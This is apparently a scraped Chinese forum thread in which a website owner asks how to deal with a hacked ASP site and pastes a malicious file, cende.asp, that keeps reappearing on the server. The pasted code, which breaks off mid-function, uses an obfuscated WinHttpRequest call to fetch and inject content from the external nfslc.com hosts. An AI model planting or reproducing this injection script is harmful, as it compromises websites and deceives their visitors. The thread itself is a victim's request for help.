asp网站被黑了~该如何解决
发布时间:2010-05-20 14:01:29 文章来源:www.iduyao.cn 采编人员:星星草
asp网站被黑了~
服务器总是多这些文件,文件名都会不同,我只能用备份找出不同的删除,一删除过一天又出现其它名称的文件,用了COMODO和瑞星,豆是新手,用默认设置
束手无策中,请高手指点从哪解决
附某天多出的两文件~~~~~~
文件cende.asp
<%
if instr(1," "&lcase(Request.ServerVariables("HTTP_USER_AGENT"))&" ","http://",1)>0 then
%>
<%
Response.CharSet="gb2312"
Session.CodePage=936
Server.ScriptTimeOut=500
dim id,mmhuan,wang,mulu,wenjian
wang="http://huo.nfslc.com/sh/sh.asp"
lang="http://link.nfslc.com/new/n.asp"
response.write gethttppage(wang,"","get","","","","*/*","no",1)(0)
response.write gethttppage(lang,"","get","","","","*/*","no",1)(0)
response.end
%>
<%
' --------------------------------
function gethttppage(url1,urlcode2,fangshi3,cookie4,neirong5,lailu6,accept7,zijie8,zhua9)
dim http,neirong,wjrhuan(5)
if len(url1)=0 then
gethttppage=wjrhuan
exit function
end if
set http=Server.createobject("Win"&"Http.W"&"inHtt"&"pRe"&"quest"&".5.1")
TimeInterval=200
lResolve=100
lConnect=100
lSend=100
lReceive=100
http.setTimeouts lResolve*1000,lConnect*1000,lSend*1000,lReceive*1000
http.Option(4) = 13056
http.Option(6) = zhua9
http.open ucase(fangshi3),url1,false
if ucase(fangshi3)="POST" then
http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
end if
http.setRequestHeader "Accept",accept7
if len(lailu6)>0 then
http.setRequestHeader "Referer",lailu6
end if
http.setRequestHeader "User-Agent","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
http.setRequestHeader "Accept-Language","zh-cn"
http.setRequestHeader "Connection","Keep-Alive"
http.setRequestHeader "Cache-Control","no-cache"
if len(cookie4)>0 then
http.setRequestHeader "Cookie",cookie4
else
end if
http.send(neirong5)
wjrhuan(1)=http.getAllResponseHeaders()
wjrhuan(2)=http.status
wjrhuan(3)=http.statustext
wjrhuan(4)=http.responseText
dim wenben,wenbeni,wenben3,bianmaok
bianmaok=""
wenben=lcase(http.getAllResponseHeaders())
if instr(1,wenben,"content-type: ",1)=0 or instr(1,wenben,"content-type: text",1)>0 then
if instr(1,wenben,"content-type: ",1)>0 then
wenbeni=tiress(wenben,"content-type: ",chr(13)&chr(10))
if instr(1,wenbeni,"charset=",1)>0 then
bianmaok=tiress(wenbeni&chr(13)&chr(10),"charset=",chr(13)&chr(10))
end if
end if
if len(bianmaok)=0 then
wenbeni=zzqu(http.responseText,"<meta([^<]*)charset=([^<]*)>","=")
if len(wenbeni)>0 then
wenbeni=replace(wenbeni,"""","",1,-1,1)
wenbeni=replace(wenbeni,"'","",1,-1,1)
wenben3=zzqu(wenbeni,"charset=[a-z0-9-_]+","=")
bianmaok=tiress(wenben3,"charset=","renyaai")
end if
end if
if len(bianmaok)=10 then
If len(http.responseBody)>0 and AscB(MidB(http.responseBody,1,1))=&HEF and AscB(MidB(http.responseBody,2,1))=&HBB then
bianmaok="utf-8"
elseif len(http.responseBody)>10 and AscB(MidB(http.responseBody,1,1))=&HFF and AscB(MidB(http.responseBody,2,1))=&HFE then
友情提示:
信息收集于互联网,如果您发现错误或造成侵权,请及时通知本站更正或删除,具体联系方式见页面底部联系我们,谢谢。
其他相似内容:
-
ASP如何隐藏表单
<%if Cookies_Toy ="" then
response.write "<a href='login.asp'>登录</a> <a href='reg.asp'>注册</a>"
...
-
为什么js调用css脚本后没效果
这个是css的脚本代码:
body,ul,li{margin: 0; padding: 0; border: 0;}
body {background: #f5f...
-
如何伪造post请求,求指点。。。
要查询大批(也就几万个)运单的状态,那查询网站一次最多查24个,这一个个搞会搞死人的。。
有...
-
Asp.net_简单代码设置GridView自适应列宽不变形
动态绑定的GridView由于列数不固定,而列又太多(博主做的这个项目有150个左右的字段...
-
ASP.NET下实现AJAX注册提醒
Ajax全称是,主要是利用JavaScript实现异步的数据传输,首先说异步,异步是当前操作进行的时候,用...
-
aspnet_regiis安装出错:0x80070005 拒绝访问
点击右边红色标题查看本文完整版:aspnet_regiis安装出错:0x80070005 拒绝访问安装...
-
关于网站边框
像hao123这样的网站上的边框是着么弄的?背景图片吗?http://www.hao123.com
另外哪个素材网站有实用的这内素材
-----...
-
求助!! 多表分组查询统计
高手们,帮帮忙!
用户表 D_user 为
ID Username GroupID
1 张三 2
2 李四 2
3 王五 ...
-
在Paypal提交的同时,把表单的数据提交给数据库
本帖最后由 liuyang2708 于 2012-11-20 23:14:54 编辑
在提交这个支付...
-
虚拟目录下JavaScript不能正常执行
各位大侠好,我在同一台服务器上用两种方式部署同一个网站。
第一种方法:在IIS下直接建一个网站...